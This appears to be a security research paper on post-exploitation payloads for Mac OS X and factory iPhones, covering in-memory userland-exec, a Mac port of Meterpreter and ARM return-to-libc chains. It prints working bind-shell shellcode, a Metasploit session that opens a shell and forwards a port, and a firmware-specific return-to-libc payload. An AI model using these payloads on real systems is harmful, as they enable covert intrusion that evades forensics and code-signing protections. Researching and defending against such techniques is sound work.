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Abstract
Mac OS X continues to spread among users,  and with this increased market share comes more scrutinization of the 
security  of the operating system.  The topics of vulnerability analysis and exploit techniques have been discussed at 
length.   However, most of these findings stop once a shell has been achieved.  This paper introduces advanced 
payloads which help  to avoid detection, avoid forensics, and avoid countermeasures used by the operating system 
for both Mac OS X and iPhone.  These payloads include Meterpreter and userland-exec for forensics evasion and 
two iPhone payloads which work against factory iPhones, despite the deviceʼs memory protections and code signing 
mechanisms.

1. Introduction
Mac OS X is constantly attracting new users. Given that fact, in the last few years 
researchers focused more and more on this topic highlighting a number of security 
concerns, mainly caused by the lack of modern security counter measures [1,2].  Much 
is known about bug hunting and exploit development on OS X.  Nonetheless, there is a 
lack of advanced techniques and tools that are already present and used on other OSes 
for post exploitation.  Typical discussions of exploitation of OS X systems are centered 
on getting a shell running.  This paper introduces advanced payloads which help to 
avoid detection, avoid forensics, and avoid countermeasures used by the operating 
system. 

The remainder of this paper is organized as follows.  Section 2 focuses on userland-
exec in OS X.  Section 3 discusses Meterpreter.  Section 4 describes protections and 
the security architecture of iPhone.  Section 5 reveals payloads that work on factory 
iPhones.  

2. Userland-exec
This section describes a method to use userland-exec in OS X.  With this technique, it is 
possible to inject into a victim's machine any kind of binaries ranging from your own 
piece of code to real applications like Safari.  This is accomplished without leaving 
traces on the hard disk and without creating a new process, since the whole
exploitation is performed in memory.  This type of payload has been known for some 
time for Windows and is implemented in Meterpreter, for example [3].  It was first 
discussed for Mac OS X in [4].  
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This method allows an attacker who is able to execute code in the target machine to 
use it as a trampoline for higher-lever payloads.  One might ask why, if the attacker is 
already running shellcode, they want to use userland-exec.  The answer is that 
userland-exec allows the attacker to write complex applications, such as programs to 
take pictures with the camera or keyboard sniffers, in a high level language like C 
instead of assembly which would be necessary in shellcode.  It also ensures that the 
application in question never touches the disk of the victim, making detection and 
forensics more difficult [5].

The basic idea behind the method is to imitate what the kernel does during a call to 
execve.  We preprocess a binary and lay it out in memory exactly as the kernel would 
and in the way the dynamic linker dyld expects.  Then we simply let dyld take over as it 
really would in the execution of a binary and let it resolve all the symbols and libraries 
and jump to the binaryʼs entry point.  All of this is done without touching the disk or 
calling execve.

Before we can explain the details of the technique, some background material is 
necessary.

Mach-O file format specification
The Mach-O file format is the standard used by the Mac OS X ABI [6] to store binaries 
on the disk.

Figure 1: The format of a Mach-O file.
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A Mach-O file is divided into three major parts, as shown in Figure 1.

• Header structure which contains information on the target architecture and specified 
options needed to interpret the rest of the file.

• Load commands which specify, among other information, the layout of the file in 
virtual memory, the location of the symbol table, and the state of the registers of the 
main thread at the beginning of execution.

• Segments which may contain from 0 to 255 sections.  Each segment defines a region 
of virtual memory and its sections represent code or data needed to execute the 
binary.

Each segment contains information on the address range used in virtual memory and 
the protection attributes for the memory region.  All segments must be aligned on the 
virtual memory page size.

Some important segments include:
• __PAGEZERO which is stored at virtual memory location 0. This segment has no 

protection flags assigned, therefore accessing this region will result in a memory 
violation.

• __TEXT which holds the binary code and read-only data. This segment contains only 
readable and executable bytes, for this reason the pages donʼt need to be writable. 
The first page of this segment also contains the header of the binary.

• __DATA which contains the binary data. This segment has both the reading and 
writing protection flags set. 

• __LINKEDIT which stores information such as the symbol table, string table, etc. for 
the linker. This segment has both the reading and writing protection flags set.

Sections inherit protection flags from segments. They are used for defining the content 
of specific regions within segments of virtual memory.

Figure 2: The stack of the binary before calling the dynamic linker.

The execution of a binary on Mac OS X is conducted by two entities: the kernel and the 
dynamic linker [7].  The first part of the execution process is conducted by the kernel, 
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whereas the second is conducted by the dynamic linker.  When a process is launched, 
the kernel maps the dynamic linker at a fixed address onto the process address space. 
After that it parses the header structure of all the segments of the binary and loads them 
to the correct virtual memory regions.  Before calling the dynamic linker a new stack is 
created.  The stack layout is shown in Figure 2.  It should be noticed that the address of 
the binary is pushed into the stack in order to let the dynamic linker handle it.

During the second phase the dynamic linker parses the binary and resolves symbols, 
library dependencies and so forth, before jumping to the binary entry point.
It must be noticed that all the libraries are recursively loaded by the dynamic linker itself, 
so the kernel does not play a role in this phase.

In the past Ripe and Pluf [8] proposed an attack that is able to use userland-exec [9] on 
a victim's machine.  Their attack encapsulated a shellcode and a crafted stack into the 
binary file that is afterwards sent to the victim. Upon receiving the crafted binary the 
shellcode is executed and the userland-exec is performed.

Despite its usefulness the attack suffers some problems: 
• It only works with ELF files on Linux. 
• It doesn't work if ASLR is enabled.
• Only static binaries can be injected.

Although our technique uses a similar method to craft the binary, it should be 
considered new because both the target files and the payload construction differ greatly.

In the next section we detail how we craft the binary to execute on the victim's machine 
and how our shellcode works.

Crafted binary
Nemo [10] and Roy g biv [11] separately explain a technique for inserting malicious 
code in the __PAGEZERO segment.  This infection attack changes __PAGEZERO 
protection flags and stores some code at the end of the Mach-O file, mapping it at a 
non-allocated arbitrary address in the virtual memory.

4



Figure 3: Layout of the crafted binary

We employ this technique to store malicious code inside the injected binary.  First we 
create a crafted stack identical to the one shown in Figure 2.

Next, we append the stack and our loader code at the end of the file by using the 
__PAGEZERO infection technique.  Finally, we overwrite the first byte of the header 
structure, which usually contains the magic number, with the address of our loader.  The 
resulting Mach-O layout is shown in Figure 3.

Our embedded loader
The role of our loader is to impersonate the kernel and conduct its tasks.  The code 
parses load commands, and for each segment that is encountered, the virtual memory 
used by the segment is firstly unmapped to wipe the old data contained in it, then it is 
mapped again with the correct protection flags.  Lastly the segment is copied into the 
right position.

The __PAGEZERO segment plays a special role.  It contains the crafted stack for the 
binary.  When the embedded loader encounters this segment it unmaps the old data 
and copies the new stack into it. Finally the ESP pointer is stored in order to be used
when the dynamic linker is called.

Other load commands are ignored as they are handled by the dynamic linker.  When 
our embedded loader is executed in the address space of the exploited process, both 
the libraries allocated by the attacked process and the dynamic linker are present.  The 
latter maintains a list of all allocated libraries; since all binaries rely on libSystem, our 
injected binary will use the one already allocated.
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In order to work correctly, libSystem, when allocated, uses some variables to initialize 
heaps and parse environ and argument variables. If a new process is launched and 
those variables are not set properly, a crash will occur while allocating memory or 
parsing arguments.  For this reason we need to wipe these control variables in our 
loader, before calling the dynamic linker.

The last part of the loader is in charge of cleaning registers, adjusting the stack pointer 
so that the address of the binary is the first word on the stack and calling the dynamic 
linker entry point, which is always at a fixed address.

Defeat libraries address space layout randomization
As said in the previous section, one of the tasks of our loader is to wipe some non-
exported variables used by libSystem.  Since these symbols are not exported, we 
cannot easily retrieve addresses for the aforementioned variables by simply using the 
dlopen()/dlsym() combination;  neither it is possible to calculate their address a priori 
since the base address of libSystem is randomized.

In fact since Leopard, Apple has introduced ASLR for libraries. When either the system 
or a library is updated update_dyld_shared_cache(1) performs the randomization [12].

In this section a method for circumventing this problem is detailed.  Firstly, we retrieve 
the addresses of some exported functions of the default dynamic linker, dyld.  Then, we 
search for the libSystem base address and for the base address of the __DATA 
segment.  Finally, we open the libSystem, which is present on the disk, searching for the 
symbols we need and we adjust them with the __DATA segment base address.  Symbol 
names are hashed using Dan Bernsteinʼs algorithm in order to reduce memory 
occupation.

Gathering dyld function addresses
In order to obtain the randomized base address of a library there are two possibilities:

• Parse the file dyld_shared_cache_i386.map and search for the library entry
• Use some functions exported by the default dynamic linker, performing the whole task 

in-memory.

We have chosen the second approach as it is cleaner and less error-prone than the first 
one.  The employed functions are:

• _dyld_image_count() used to retrieve the number of linked libraries of a process.
• _dyld_get_image_header() used to retrieve the base address of each library.
• _dyld_get_image_name() used to retrieve the name of a given library.

The symbol table and the string table in Mach-O files are stored in the __LINKEDIT 
segment.  To gather addresses of these functions we parse the binary searching for the 
symbol table and retrieve the addresses of the symbols.
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Retrieve non-exported symbols
Having obtained dyld's function addresses we can retrieve the base address of 
libSystem.  When a binary is executed, non-exported symbols are removed from the 
symbol table making it impossible to compute their addresses on the fly.  For that 
reason we divided this process into two tasks:

• We calculate the base address of the __DATA segment where symbols are placed, 
parsing the header of the libSystem present in the process address space.

• We open libSystem binary and parse the symbol tables to retrieve addresses we are 
interested in.

Lastly, we need to relocate symbols by using the calculated address of the __DATA 
segment.  We need to search for the following symbols:

• _malloc_def_zone_state
• _NXArgv_pointer
• _malloc_num_zones
• __keymgr_global

The shellcode
Now that the binary has been crafted and contains the embedded loader, all that 
remains is to inject it into the exploited process and redirect execution to it.  This is very 
straightforward to do.  The following shellcode can be used as the payload of an 
arbitrary exploit.  It binds to port 1234 and expects a crafted binary to arrive at which 
point it userland-execʼs it.

char shellcode[] =
"\x31\xc0\x50\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x99\x89\xc6\x52"
"\x52\x52\x68\x00\x02\x04\xd2\x89\xe3\x6a\x10\x53\x56\x52\xb0\x68"
"\xcd\x80\x52\x56\x52\xb0\x6a\xcd\x80\x52\x52\x56\x52\xb0\x1e\xcd"
"\x80\x89\xc3\x31\xc0\x50\x48\x50\xb8\x02\x10\x00\x00\x50\xb8\x07"
"\x00\x00\x00\x50\xb9\x40\x4b\x4c\x00\x51\x31\xc0\x50\x50\xb8\xc5"
"\x00\x00\x00\xcd\x80\x89\xc7\x51\x57\x53\x53\xb8\x03\x00\x00\x00"
"\xcd\x80\x57\x8b\x07\x8d\x04\x38\xff\xe0";

Here is an example of it running the prepared “ls” binary.

The shellcode on the exploited host:
$ ./test_shellcode

Prepare and send the crafted binary:
$ ./builder 192.168.1.182 1234 x86ls "" ""

The output of the ls will appear in the standard output of the exploited process.

In this section, we have shown that it is possible to inject a binary of any sort in a 
victim's machine without either leaving traces on the hard disk or calling execve(2).  
This technique is very effective, but could be stopped by employing common memory 
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protection counter-measures, like full ASLR.  It is also possible to detect this kind of 
attack by using an anomaly based IDS system[13].  Through this attack we have been 
able to inject a wide range of binaries from simple command line utilities like ls to 
complex applications like Safari.  We have also demonstrated that ASLR adopted only 
for libraries does not block a common set of post exploitation techniques.

3. Macterpreter
Metasploit is an open source exploitation framework containing many exploits and 
payloads [15].  It is mostly focused on Windows, although some effort was made to port 
it to Linux [16].  In the last month, Charlie Miller and Dino Dai Zovi have been adding 
code to Metasploit in order to make sure all of the functionality Metasploit has for 
Windows also exists for Mac OS X.  A large part of this work was porting Meteterpreter 
to OS X, where we call it Macterpreter.  

Meterpreter
Meterpreter is an advanced Metasploit payload.  Within it exist many of the tools an 
attacker needs, such as the ability of traversing the file system.  However, instead of 
executing a shell and then executing the /bin/ls binary, for example, as would occur in 
typical shellcode, the ability of getting a directory listing is completely contained within 
Meterpreter.  That is, the code to get the directory listing (or anything else Meterpreter 
can do) executes completely within the context of the exploited process - and can be 
trusted, unlike the tools on some foreign system.  Additionally, Meterpreter never has to 
touch the disk.  Therefore, Meterpreter allows an attacker additional functionality, as will 
be discussed below, as well as stealth, as it doesnʼt touch disk or need to execute new 
processes.  As weʼll also see, it can utilize the userland-exec discussed in the last 
section to launch other applications without them touching the disk either.

Meterpreter is written with a basic core that is responsible for communicating with the 
client and loading extensions.  The extensions are needed for additional functionality.  
Currently the only extension available for Mac OS X is called macapi.  Windows has 
additional extensions which provide functionality like privilege escalation.

Macterpreter
Macterpreter provides all the basics of a shell, like file listings, making and deleting 
directories, process listings, getting your current privilege level, editing files, getting 
information about network interfaces, system information, etc.  It also has features a 
typical shell lacks.  For example, it can upload and download files, redirect traffic to 
other hosts (referred to as pivoting), take pictures with the iSight camera, and perform 
userland-exec.

Within Metasploit, in order to use Macterpreter, the user first needs to select the 
inject_bundle payload.  This bit of shellcode accepts a bundle (a Mac OS X dynamic 
library plus resources) lays it out in memory, and then links it.  This is accomplished with 
the two Mac OS X API calls NSCreateObjectFileImageFromMemory and 
NSLinkModule, which are present in Leopard, but are officially deprecated.  These two 
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API calls allow a developer to load a bundle from memory without having to access it 
from the disk.  After that, the core Macterpreter can use these same API calls to load 
any extensions.  

One problem that arises, compared to Windows, is the concept of namespaces.  The 
macapi extension needs to call functions from the Macterpreter core.  But normally, 
loaded bundles or dynamic libraries cannot do this as there is a two-level namespace.  
This can be taken care of by including the following command line options to gcc when 
compiling: -flat_namespace -undefined suppress.  The first option allows the code in the 
extension to reference code from the core.  The second allows linking despite the fact 
that the functions from the core are not explicitly linked to the extension.

Macterpreter is binary compatible with the Windows Metasploit client, i.e. any client that 
can talk to the Windows Meterpreter will be able to talk to the Mac OS X version and 
vice versa.  It shares much of the same underlying C code.  While it is a huge 
advantage to share the same client code, it does come with one disadvantage.  Namely, 
it doesnʼt introduce much Mac OS X specific commands and when Mac OS X has 
additional information available, such as with regards the file system, it cannot share 
this information with the client.  

One other limitation with Macterpreter, compared with the Windows version, is that it 
lacks the ability to migrate to another process.  This is accomplished in Windows by 
injecting code into the process you wish to migrate to.  However, this is not possible in 
Mac OS X.  (This is one case where Mac OS X is more secure than Windows!).  In OS 
X, debugging is performed by the Mach API.  In order to perform actions against other 
processes, you need the appropriate port rights.  However, typically users do not have 
these rights, even for processes they own (even processes started by the process trying 
to inject the code).  For the record gdb works because it is setgid procmod.  

-rwxr-sr-x  1 root  procmod  6173008 Jul 26  2008 /usr/libexec/gdb/gdb-i386-apple-darwin

Finally, userland-exec is implemented within Macterpreter.  It forks and then receives 
and lays out a crafted binary.  This allows for the ability to run arbitrary binaries from 
within Macterpreter (without having to create Macterpreter extensions) without them 
touching the disk of the exploited machine. 

Below is a sample session

$ ./msfcli exploit/osx/test/exploit RHOST=192.168.1.182 RPORT=1234 LPORT=4444 
PAYLOAD=osx/x86/meterpreter/bind_tcp E
[*] Started bind handler
[*] Sending stage (387 bytes)
[*] Sleeping before handling stage...
[*] Uploading Mach-O bundle (50620 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.231:37335 -> 192.168.1.182:4444)

meterpreter > use stdapi
Loading extension stdapi...success.
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meterpreter > pwd
/Users/cmiller/metasploit/trunk
meterpreter > ls

Listing: /Users/cmiller/metasploit/trunk
========================================

Mode              Size  Type  Last modified                 Name
----              ----  ----  -------------                 ----
40755/rwxr-xr-x   816   dir   Tue Feb 24 14:48:24 CST 2009  .
40755/rwxr-xr-x   102   dir   Wed Feb 18 22:28:25 CST 2009  ..
100644/rw-r--r--  2705  fil   Sun Nov 30 16:00:11 CST 2008  README

meterpreter > getuid
Server username: cmiller
meterpreter > sysinfo
Computer: Charlie-Millers-Computer.local
OS      : ProductBuildVersion: 9G55, ProductCopyright: 1983-2008 Apple Inc., 
ProductName: Mac OS X, ProductUserVisibleVersion: 10.5.6, ProductVersion: 
10.5.6
meterpreter > execute -i -c -f /bin/sh
Process  created.
Channel 1 created.
id
uid=501(cmiller) gid=501(cmiller) groups=501(cmiller),98(_lpadmin),
81(_appserveradm),79(_appserverusr),80(admin)
exit
meterpreter > portfwd add -l 2222 -p 22 -r 192.168.1.182
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.182:22
meterpreter > exit

4. iPhone OS security
iPhone OS, the Operating System used for the IPhone, is a small subset of the Mac OS 
X found on desktops.  Although they share a lot of code, iPhone OS has a number of 
additional security technologies not yet present on Mac OS X.  Some of the more 
interesting security methods in the operating systems are ASLR, hardware enforced 
non-executable pages, and code signing.  Weʼll discuss these topics in the context of 
Mac OS X and iPhone OS.  

ASLR
ASLR is address space layout randomization.  As mentioned in Section 1 of this paper, 
Mac OS X doesnʼt do this very well.  In fact, Mac OS X randomizes only the location of 
loaded libraries (and not even dyld).  It does not randomize the location of the stack, 
heap, or the executable image.  The userland-exec takes advantage of the fact that dyld 
is not randomized to locate all the other libraries, thus demonstrating that essentially 
with dyld not being randomized, nothing is effectively randomized.  On the other hand, 
in iPhone OS, even the location of the libraries are not randomized.  For a given version 
of firmware, an attacker can predict the location of the stack, heap, executable image, 
and all libraries.  
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NX/XN bit
Another important anti-exploitation technology is hardware enforced non-executable 
pages.  On x86 chips this is controlled by the NX bit (also referred to as the XD bit by 
Intel).  For ARM chips, whether pages can be executed is controlled by the XN (Execute 
Never) bit.  In Mac OS X (Leopard), the NX bit is only set on the stack.  The heap is 
executable.  There is no restriction on the protections that can be placed on heap 
pages.  For example, pages can be RWX, i.e. can be read from, written to, and 
executed from.

The iPhone is quite different.  In this case, the XN bit is heavily used to enforce security 
on all pages.  Both the stack and the heap are non-executable, therefore it should not 
possible to perform any kind of code injection.  Furthermore, no pages are allowed to 
have RWX permissions.  This is possible since the iPhone doesnʼt have to have all the 
features of a desktop.  For example, it doesnʼt need Flash or Java, which often write 
code and then need to execute it.  Furthermore, on factory iPhones (non-jailbroken) 
pages which donʼt come from signed binaries that were ever writable can never become 
executable.  More on this later.  This strict policy concerning executability of pages 
makes exploitation on the iPhone much more difficult than on Mac OS X.

Given these security countermeasures an attacker is forced to find other ways of 
exploiting vulnerabilities.  One might choose to try to write complex code to disk and 
then try to execute it.  This is prevented by the code signing requirement.  

Code signing
On a factory phone, all binaries and libraries must be signed by Apple in order to run 
(the exception is specially provisioned development and beta-testing phones).  In Mac 
OS X, binaries can be signed as well.  However, this is only for identification and 
binaries still run with or without a signature.  Letʼs take a closer look at how code signing 
works.  
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Figure 4: BinDiff identifying “identical” functions in the xnu versus iPhone kernel.

Figure 4 shows the similarity between the open source xnu kernel and the iPhone 
kernel using the new BinDiffDeluxe engine, which is able to diff cross-architecture 
samples. Since they share a lot of code we can conduct our analysis directly on the xnu 
source code. 

When an execve() call is performed the kernel parses the binary.  Whenever a 
LC_CODE_SIGNATURE segment is encountered the kernel checks, using the 
ubc_cs_blob_get() function, if the signature for that address range is present.  If itʼs not 
then the one contained in the binary is allocated and the pages are validated. When a 
signature is added, SHA-1 hashes for each signed segment is checked. The hashes are 
calculated on the pages occupied by the segment, so even if some slack space is 
present in them, it cannot be used for malicious intents.

Although it is possible to map a page, e.g. with mmap, containing RX permissions 
whenever the page is accessed a SIGBUS is raised and the application crashes. In fact, 
in order to validate a page loaded at runtime a special fcntl() with  F_ADDSIGS as cmd 
and a structure of this kind is used. 

typedef struct fsignatures {
 off_t  fs_file_start;
 void  *fs_blob_start;
 size_t fs_blob_size;
}fsignature_t;
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The structure specifies the segment location and the signature position. If the signature 
and the SHA-1 hash are valid a special flag is set on the page in the kernel: 

/* mark this vnode's VM object as having "signed pages" */
 kr = memory_object_signed(uip->ui_control, TRUE);

From that point on the page is accessible without raising a SIGBUS.  

The other time code signing is important, besides at execve, is when libraries are 
loaded.  Another important consequence of the code signing being linked to the page 
permissions is that it is not possible to map libraries directly from memory.  (In fact, the 
APIs used my Macterpreter are not even present on the iPhone).  It is still possible to 
load it from a file, assuming the library must be signed, or the pages cannot be marked 
as executable.  Again, BinDiff helps identify how the Mac OS X and iPhone dyld, the 
code responsible for loading dynamic libraries, differ.  

As shown in Figure 5, the only different function between the dyld on Mac OS X and 
IPhone OS in the execution path is loadCodeSignature() which is not present on the OS 
X version. What this function does is nothing more than retrieving the signature in the 
file and calling the fcntl() as discussed above.

Figure 5: iPhone OS has an additional function call to loadCodeSignature

Jailbroken versus Factory iPhones
Jailbroken phones are much easier to work with than factory phones.  The main 
difference is that the jailbroken phone disables code signing.  This allows for the running 
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of arbitrary third party, unsigned, applications.  Such applications include a shell, sshd, 
gdb, python, etc.  It is no wonder that researchers prefer to work on jailbroken phones.  
After all, besides the code signing, there appears to be no real distinctive difference 
between the jailbroken and factory phones.  However, this is not the case.

Many researchers, including one of the authors of this paper, have given talks where 
their results tacitly relied on the fact a phone was jailbroken.  This is because, by 
disabling the code signing requirements, it doesnʼt just change what programs may be 
executed, but it fundamentally changes the way the memory page protections work.  As 
we discussed, at this point, it is not clear how to write to a page and then make that 
page executable on a factory phone.  While there may be a clever way to accomplish 
this, at the present time, any discussion of shellcode with regards to the iPhone implies 
the phone is jailbroken.  This includes payloads that return into mprotect to set page 
permissions for their shellcode.  If you attempt to mprotect a page which has previously 
had data written to it on a factory iPhone, the mprotect will fail with a return value of -1 
and errno set to “Permission Denied”.

Doing research on a factory phone is hard.  Unless you have a 0-day in MobileSafari or 
some other default application, the only alternative is to use the iPhone SDK.  Doing this 
has severe limitations, though.  First, applications built using the SDK run in a very 
restrictive sandbox, much more so than default applications.  Another problem is you 
need an actual signing certificate, which costs $99.  Finally, the gdb provided is not full 
featured, for example, it doesnʼt have the useful info mach regions command.  For these 
reasons, it is difficult to do research on a factory iPhone, but nonetheless this is 
necessary to get realistic results that will work against a factory iPhone.

Jailbroken iPhone payloads
There is still some use for payloads for jailbroken iPhones.  Making them work is 
relatively straightforward.  Most shellcode (Mac OS X for ARM) will run fine.  The only 
hurdle compared to OS X is that no pages can be both writeable and executable.  
Therefore, you must expect that your shellcode will be on a nonexecutable page.  So, 
using some technique such as return-to-libc, it is necessary to first call mprotect on the 
shellcode before jumping to it.  

We have ported the userland-exec payload to jailbroken phones.  Since both operating 
systems work on Mach-O binaries, with nearly identical dynamic loaders, only a few 
changes needed to be made.  

• The (fixed) location of dyld had to be changed from 0x8fe00000 to 0x2fe00000.
• Any calls to vm_protect had to be changed from requesting RWX pages to first 

requesting RW pages and then changing it to RX after the data had been written.
• The embedded loader had to be ported from x86 assembly to ARM. 

After these changes, it is possible to use userland-exec on the iPhone.
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5. Factory iPhone payloads
Targeting a factory iPhone is a little tougher, but not impossible.  It is a device with 
hardware enforced page protections but no ASLR.  In the flow chart of exploitation 
techniques, this clearly indicates the need for return-to-libc [17].  However, this 
technique is made a little more difficult on the ARM architecture rather than x86 [18].

ARM basics
Before we can understand the low level difficulties and solutions, we first need to 
understand some basics of the ARM architecture.  ARM is a RISC architecture, meaning 
there are very few instructions and many general purpose registers.  In total, there are 
16 registers identified as R0-R15.  Typically, the last three registers have special values 
and thus have special names, R13 is called SP (the stack pointer register), R14 is 
called LR (the link register) and R15 is called PC (the program counter).  Unlike x86, all 
of these registers are completely general, i.e. it is possible to move an arbitrary value 
into the PC register and affect program flow.  Likewise, it is perfectly acceptable to read 
from PC to determine what instruction the program is currently executing.  

The most important thing to understand, if you want to do return-to-libc for ARM, is the 
way functions are called and how they return.  To call a function, usually a branch 
instruction is used, such as B, BL, BX, BLX, or one of their conditional variants.  It is 
also possible to set the PC directly.  The main differences are B is simply a branch 
which changes the PC, while a BL is a branch and link instruction which also stores the 
return address in the LR register.  BX is the branch and exchange instruction which can 
branch to a value in a register as opposed to a numerical offset.  Likewise, BLX 
branches to a register value and sets LR.  Below are some examples of how functions 
are typically called in ARM.

Figure 6:  A typical function in ARM.  

The most typical way a function is called can be seen in Figure 6.  This function is called 
via a BL or BLX instruction.  At the conclusion of the function, a BX LR instruction 

15



returns execution flow to the saved return address in LR.  Notice in particular, the return 
address is not stored on the stack.  

Figure 7: A typical Thumb function return

Another way that functions often return is by using the stack.  In Figure 7, the function 
saves the return value from LR onto the stack using the PUSH instruction at the 
beginning of the function.  At the end of the function, it uses the corresponding POP 
instruction.  But rather than popping the value back into LR, it instead pops it into PC, 
thus effectively returning from the function.  

The other important thing to understand about function calls is how arguments are 
passed to functions.  In ARM, the first 4 arguments are typically passed in the registers 
R0-R3.  The rest are placed on the stack.  The return value is typically returned in r0.  
As with any assembly language, the compiler may choose to do anything it wants, so 
long as things still work.

Finally, an ARM chip may operate in either ARM mode or Thumb mode.  In ARM mode, 
all instructions are exactly four bytes.  In Thumb mode, instructions are typically two 
bytes, although some instructions like branch instructions are still four bytes.  This can 
make disassembly difficult as its hard to know at a given address whether the 
disassembly should be done in ARM or Thumb mode.  Luckily, IDA Pro does a pretty 
good job for iPhone binaries in this regard.  Since all instructions are either two bytes or 
four bytes, they all must reside on even addresses in memory.  This extra unused bit 
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(the low order one) is used to indicate which mode the processor should be operating in 
when branching.  If the code branches to an address and the low order bit is 0, the 
processor knows to expect ARM code, if the low order bit is 1, it knows to expect Thumb 
code.

Return-to-libc and the iPhone
Return-to-libc is the name of the technique which was developed to defeat non-
executable stacks and heaps.  The idea is, instead of running attacker supplied code 
(shellcode), which is impossible since it would not be executable, the attacker instead 
reuses code already in the process to accomplish what she wants.  Since this code is 
supplied by the binary or its libraries, it is already executable.  

In x86, by carefully laying out the data near the stack pointer, the attacker can link many 
successive calls to functions by putting appropriate return values on the stack.  Doing 
this the attacker can effectively call a series of functions available to the program.  This 
is made simpler because the arguments to functions as well as the return address is 
always expected on the stack.  It is a bit arduous, however, so that typically return-to-
libc payloads try to be as efficient as possible.  For example, they may immediately call 
the system() function or they may call a function which disables DEP (in Windows) or 
mprotect to change the permissions of their code (jailbroken iPhone).  Then they can 
execute their standard shellcode.

On the iPhone, there seems to be no such quick escape.  As we discussed, it is not 
possible to quickly disable memory protections and jump to standard shellcode.  It is not 
possible to write an executable to a file and execute it due to code signing restrictions.  
Calling system() is possible, but doesnʼt accomplish much since there are no useful 
binaries present on the iPhone.  However, all the security protections in place can not 
prevent the exploited process from calling its own code.  So all the protections, code 
signing, memory protections, etc, can be circumvented by using a very long return-to-
libc payload as weʼll show in the next two subsections.  

Return-to-libc for ARM
It is slightly harder to perform return-to-libc for ARM since arguments are passed in 
registers rather than on the stack.  Therefore, any time you wish to call a function, you 
must first figure out a way to transfer arguments to the low numbered registers, 
presumably from the stack.  Another issue is that return-to-libc for x86 sometimes relies 
on the fact that you can “create” instruction that are not resident in the binary by jumping 
to the middle of existing instructions.  Due to the ARM architecture, this is not possible, 
as the instructions must be aligned.

One final issue is that in the first calling convention discussed above in Figure 6, the 
return address is not stored on the stack.  Therefore, to call such a function and 
maintain control after it returns, the attacker must already control LR before the function 
is called (and it must not point to the same function or else an infinite loop will occur).  In 
the return from the function in Figure 7, either LR needs to be controlled, or instead of 
calling the function at the entry, you can call it one instruction in.  Then at the function 
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epilogue, it will pop new values from the stack.  More details will be given in the next 
two sections.  

Vibrating payload
In the original iPhone exploitation talk given by one of the authors of this paper, two 
payloads were described.  One illustrated that physical control of the phone was 
achieved by making it beep and vibrate.  Another read a file from disk, opened up a 
network connection, and wrote the file over the connection to the attacker.  Note that 
back then (firmware version 1), there were no memory protections in place so standard 
shellcode was fine.  Here, we show these two payloads still work even with the 
additional security measures in place on a factory iPhone with version 2 by using 
extended return-to-libc chains.

In order to test this on a factory phone, you need the iPhone SDK with a signing 
certificate and you need to provision your phone to work with this certificate.  Then 
download the sample HelloWorld program from the Apple iPhone developer portal [14] 
and add a trivial stack overflow within the applicationDidFinishLaunching routine.  

void foo(unsigned int *shellcode){
 char buf[8];
 memcpy(buf, shellcode, sizeof(int) * 128);  
}

- (void)applicationDidFinishLaunching:(UIApplication *)application {
...
 unsigned int *shellcode = malloc(128 * sizeof(int));
    // fill in shellcode here
 foo(shellcode);

The function foo saves the return value LR onto the stack.  Therefore, when the function 
returns, an attacker gains control of PC and thus control of the program.  The vibrating 
shellcode is very simple which is why it makes a great example.  We wish to execute 
the following two lines of C:

AudioServicesPlaySystemSound(0x3ea);
exit(0);

The value 0x3ea is used to indicate when a new voicemail or SMS message has 
occurred and makes the phone vibrate and beep.  So all that remains is to piece 
together these two function calls using return-to-libc.  The actual shellcode that does 
this is given below:
	 	
shellcode[0] =0x11112222;
shellcode[1] =0x33334444;
shellcode[2] =0x55556666;  // r7
// Set LR and PC
shellcode[3] =0x314d83d8;  // PC    
shellcode[4] =0x12345566;  // r7 
// Set R0-R3
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shellcode[5] =0x314e4bec;  // LR / PC   
shellcode[6] =0x11112222;
shellcode[7] =0x33334444;
shellcode[8] =0x55556666;
shellcode[9] =0xddddeeee;
shellcode[10]=0x000003ea;  // r0
shellcode[11]=0x00112233;  // r1
shellcode[12]=0xddddeeee;  // r2
shellcode[13]=0xffff0000;  // r3
// Call AudioServicesPlaySystemSound
shellcode[14]=0x34945564;  // PC 
shellcode[15] =0x11112222; // r0
shellcode[16] =0x33324444; // r1
shellcode[17] =0x55536666; // r2
shellcode[18] =0xddd4eeee; // r3
// Call _exit
shellcode[19] =0x31463018; // PC 

Letʼs take a closer look at how it works.  The first two dwords simply end up in the buf 
buffer in foo().  The next two dwords, get popped into R7 and PC, respectively, when the 
function returns.  The first place we redirect execution to is 0x314d83d8, which happens 
to be in the middle of load_launchd_jobs_at_loginwindow_prompt().  

0x314d83d8: ldmia sp!, {r7, lr}
0x314d83dc: add sp, sp, #16 ; 0x10
0x314d83e0: bx lr

This instruction reads two dwords off the stack and puts them in R7 and LR.  It then 
adds 0x10 to SP and “returns” by branching to LR, which we control, having just read it 
from the stack.  At this point, we control LR and PC (and they are the same value).  
Next, we need to place the arguments we want into R0-R3 (really we only need R0).  
We do this by next redirecting execution to 0x314e4bec, which is the last instruction in 
the _aeabi_cfcmple function.  

0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}

This instruction sets the values of the registers R0-R3 and PC from values on the stack.  
We arrange the stack such that R0=0x3ea and PC=AudioServicesPlaySystemSound.  
We also still control LR which still points at 0x314e4bec which is a useful instruction 
since it reads PC off the stack.  At this point AudioServicesPlaySystemSound is called 
and “returns” back to the instruction at 0x314e4bec which proceeds to load up the 
registers R0-R3 and PC again from the stack.  This time we set PC to point to _exit and 
we are done.  

This payload has a few hard coded addresses in it and is thus firmware version 
dependent.  These addresses come from version 2.2.1 which is the latest at the time of 
writing this paper.
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Return-to-libc for heap overflows
The example involving foo() is the simplest case, a stack overflow with no character 
restrictions.  In this case, we clearly control all the data around the stack.  Is it possible 
to do return-to-libc for heap overflows where stack data is not necessarily controlled?  
The answer is yes, but as you would expect, it is a little more difficult.  

As we had to search for instructions which load things from the stack into registers in 
the example above, you simply need to find instructions which change SP to point to 
data you control, say on the heap.  

A quick look through libSystem (the libc for Mac OS X) finds a few candidates.  If R3 or 
R7 point to your data, you can use the bit of code from Figure 8 to change SP and 
regain control when the function returns.

Figure 8: Getting control of SP while maintaining PC.

If instead of an absolute value, you have a relative value (or a very large heap buffer), 
you can use something like the code from Figure 9.

Figure 9: Advancing SP by an arbitrary amount and maintaining PC.

Keep in mind that in ARM, the registers are used like local variables.  Therefore, there is 
a greater chance of having a useful value in one of them when code execution is 
achieved than in x86.

File stealing shellcode
